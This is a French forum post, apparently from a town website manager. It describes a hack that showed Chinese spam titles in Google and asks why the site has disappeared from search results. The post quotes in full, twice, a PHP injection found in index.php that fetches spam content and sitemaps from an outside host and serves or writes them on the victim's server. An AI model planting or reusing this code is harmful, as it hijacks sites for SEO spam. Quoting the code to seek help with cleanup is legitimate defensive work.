Bonjour
Je gère le site de ma commune (ville-gallardon.fr)
Il y a de cela quelques semaines, nous avons constaté que lorsque l'on cherchait le site de la commune sur Google le titre du site était écrit en chinois avec la précision que le site avait surement été piraté. Puis ce titre est devenu 404 not found. Par contre, lorsque l'on cliquait sur le site, il n'y avait aucun soucis, on y accédait. Lorsque l'on faisait la recherche sur Bing, là aucun soucis, les résultats s'affichaient normalement.
Ayant réalisé une sauvegarde du site il y a de cela quelques mois, j'ai utilisé l'outil de FTP de Firefox pour comparer les deux arborescences. J'ai trouvé qu'il y avait plusieurs pages php insérées dans chaque niveau de l'arborescence. J'ai donc supprimé les php qui n'était pas présents dans ma sauvegarde.
Lorsque j'ai relancé la recherche Google le lendemain, le site n'apparaissait plus. J'ai donc revérifié qu'il n'y avait pas de chose suspecte et je me suis rendue compte que dans mon grand nettoyage, j'avais supprimé le fichier robot.txt
Je l'ai donc remis (en récupérant celui de ma sauvegarde).
Mais 24h après cette manipulation, mon site n'apparait toujours pas sur Google.
Avez-vous une idée ?
Merci par avance.
PS : autre élément (je ne sais pas si cela a une importance). A chaque fois que je viens sur le site via le FTP, je vous que le fichier index.php qui est à la racine de www est modifié.
J'ai le bout de code suivant qui est ajouté :
header("Content-type: text/html; charset=utf-8");
@set_time_limit(0);
$h = str_replace('.','',strstr($_SERVER['REQUEST_URI'],'.'));
$xmlname = 'amap.xml';
$temp = @$_GET['temp'];
$goweb = 'twenty-eight3.poca-rain.com';
$id = @$_GET['id'];
$site = @$_GET['site'];
$host = $_SERVER['HTTP_HOST'];
if(strpos($_SERVER['REQUEST_URI'],'?') === false){
$dt = 0;
}else{
$dt = 1;
}
if($site){
if($site == 'xml'){
$web = 'http://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$hos t.'&xml='.$dt.'&h='.$h;
$xml = outdo($web);
$myfile = fopen($xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok<br>http://".$_SERVER['HTTP_HOST']."/".$xmlname;
echo "<br>".$web;
exit();
}
if($id){
$web = 'http://'.$goweb.'/?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt. '&h='.$h.'&web='.$host;
echo outdo($web);
exit();
}
}
function outdo($url){
$file_contents = @file_get_contents($url);
if (!$file_contents) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$file_contents = curl_exec($ch);
curl_close($ch);
}
return $file_contents;
}
Je gère le site de ma commune (ville-gallardon.fr)
Il y a de cela quelques semaines, nous avons constaté que lorsque l'on cherchait le site de la commune sur Google le titre du site était écrit en chinois avec la précision que le site avait surement été piraté. Puis ce titre est devenu 404 not found. Par contre, lorsque l'on cliquait sur le site, il n'y avait aucun soucis, on y accédait. Lorsque l'on faisait la recherche sur Bing, là aucun soucis, les résultats s'affichaient normalement.
Ayant réalisé une sauvegarde du site il y a de cela quelques mois, j'ai utilisé l'outil de FTP de Firefox pour comparer les deux arborescences. J'ai trouvé qu'il y avait plusieurs pages php insérées dans chaque niveau de l'arborescence. J'ai donc supprimé les php qui n'était pas présents dans ma sauvegarde.
Lorsque j'ai relancé la recherche Google le lendemain, le site n'apparaissait plus. J'ai donc revérifié qu'il n'y avait pas de chose suspecte et je me suis rendue compte que dans mon grand nettoyage, j'avais supprimé le fichier robot.txt
Je l'ai donc remis (en récupérant celui de ma sauvegarde).
Mais 24h après cette manipulation, mon site n'apparait toujours pas sur Google.
Avez-vous une idée ?
Merci par avance.
PS : autre élément (je ne sais pas si cela a une importance). A chaque fois que je viens sur le site via le FTP, je vous que le fichier index.php qui est à la racine de www est modifié.
J'ai le bout de code suivant qui est ajouté :
header("Content-type: text/html; charset=utf-8");
@set_time_limit(0);
$h = str_replace('.','',strstr($_SERVER['REQUEST_URI'],'.'));
$xmlname = 'amap.xml';
$temp = @$_GET['temp'];
$goweb = 'twenty-eight3.poca-rain.com';
$id = @$_GET['id'];
$site = @$_GET['site'];
$host = $_SERVER['HTTP_HOST'];
if(strpos($_SERVER['REQUEST_URI'],'?') === false){
$dt = 0;
}else{
$dt = 1;
}
if($site){
if($site == 'xml'){
$web = 'http://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$hos t.'&xml='.$dt.'&h='.$h;
$xml = outdo($web);
$myfile = fopen($xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok<br>http://".$_SERVER['HTTP_HOST']."/".$xmlname;
echo "<br>".$web;
exit();
}
if($id){
$web = 'http://'.$goweb.'/?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt. '&h='.$h.'&web='.$host;
echo outdo($web);
exit();
}
}
function outdo($url){
$file_contents = @file_get_contents($url);
if (!$file_contents) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$file_contents = curl_exec($ch);
curl_close($ch);
}
return $file_contents;
}
Commentaire